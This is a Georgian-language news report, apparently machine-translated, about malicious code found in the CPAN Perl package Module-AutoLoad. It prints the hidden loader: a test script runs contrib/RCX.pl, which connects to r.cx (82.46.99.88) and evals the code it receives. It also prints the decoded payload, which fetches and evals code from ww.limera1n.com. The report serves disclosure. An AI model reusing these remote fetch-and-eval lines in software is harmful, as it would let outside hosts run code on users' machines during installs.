მავნე კოდი აღმოჩენილია Module-AutoLoad Perl პაკეტში

Perl პაკეტში, რომელიც ნაწილდება CPAN დირექტორიაში მოდული-ავტომატური ჩატვირთვა, შექმნილია CPAN მოდულების ავტომატურად ჩატვირთვისთვის, იდენტიფიცირებული მავნე კოდი. მავნე ჩანართი იყო ნაპოვნია ტესტის კოდში 05_rcx.t, რომელიც იგზავნება 2011 წლიდან.
აღსანიშნავია, რომ გაჩნდა კითხვები საეჭვო კოდის ჩატვირთვის შესახებ Stackoverflow ჯერ კიდევ 2016 წელს.

მავნე აქტივობა მთავრდება მესამე მხარის სერვერიდან (http://r.cx:1/) კოდის ჩამოტვირთვისა და შესრულების მცდელობაზე მოდულის ინსტალაციის დროს დაწყებული სატესტო კომპლექტის შესრულებისას. ვარაუდობენ, რომ გარე სერვერიდან თავდაპირველად გადმოწერილი კოდი არ იყო მავნე, მაგრამ ახლა მოთხოვნა გადამისამართებულია ww.limera1n.com დომენზე, რომელიც უზრუნველყოფს კოდის მის ნაწილს შესასრულებლად.

ჩამოტვირთვის ფაილში ორგანიზებისთვის 05_rcx.t გამოიყენება შემდეგი კოდი:

ჩემი $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
ჩემი $try = `$^X $prog`;

მითითებული კოდი იწვევს სკრიპტის შესრულებას ../contrib/RCX.pl, რომლის შინაარსი შემცირებულია ხაზამდე:

გამოიყენეთ lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

ეს სკრიპტი იტვირთება დაბნეული სერვისის გამოყენებით perlobfuscator.com კოდი გარე ჰოსტიდან r.cx (სიმბოლოების კოდები 82.46.99.88 შეესაბამება ტექსტს "R.cX") და ახორციელებს მას eval ბლოკში.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1″; ბეჭდვა <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

შეფუთვის შემდეგ, საბოლოოდ შესრულდება შემდეგი: კოდი:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor return warn$@while$b;1

პრობლემური პაკეტი ახლა ამოღებულია საცავიდან. პაუზა (Perl Authors Upload Server) და მოდულის ავტორის ანგარიში დაბლოკილია. ამ შემთხვევაში, მოდული კვლავ რჩება ხელმისაწვდომია MetaCPAN-ის არქივში და შეიძლება პირდაპირ დაინსტალირდეს MetaCPAN-დან ზოგიერთი უტილიტის გამოყენებით, როგორიცაა cpanminus. აღინიშნებარომ პაკეტი ფართოდ არ იყო გავრცელებული.

საინტერესოა განხილვა დაკავშირებული და მოდულის ავტორი, რომელმაც უარყო ინფორმაცია იმის შესახებ, რომ მავნე კოდი იყო ჩასმული მისი საიტის “r.cx” გატეხვის შემდეგ და განმარტა, რომ უბრალოდ მხიარულობდა და გამოიყენა perlobfuscator.com არა რაღაცის დასამალად, არამედ ზომის შესამცირებლად. კოდის და მისი კოპირების გამარტივება ბუფერში. ფუნქციის სახელის არჩევა "botstrap" აიხსნება იმით, რომ ეს სიტყვა "ჟღერს ბოტს და უფრო მოკლეა, ვიდრე bootstrap". მოდულის ავტორი ასევე დარწმუნდა, რომ იდენტიფიცირებული მანიპულაციები არ ასრულებენ მავნე მოქმედებებს, არამედ მხოლოდ აჩვენებს TCP-ის საშუალებით კოდის ჩატვირთვას და შესრულებას.

წყარო: opennet.ru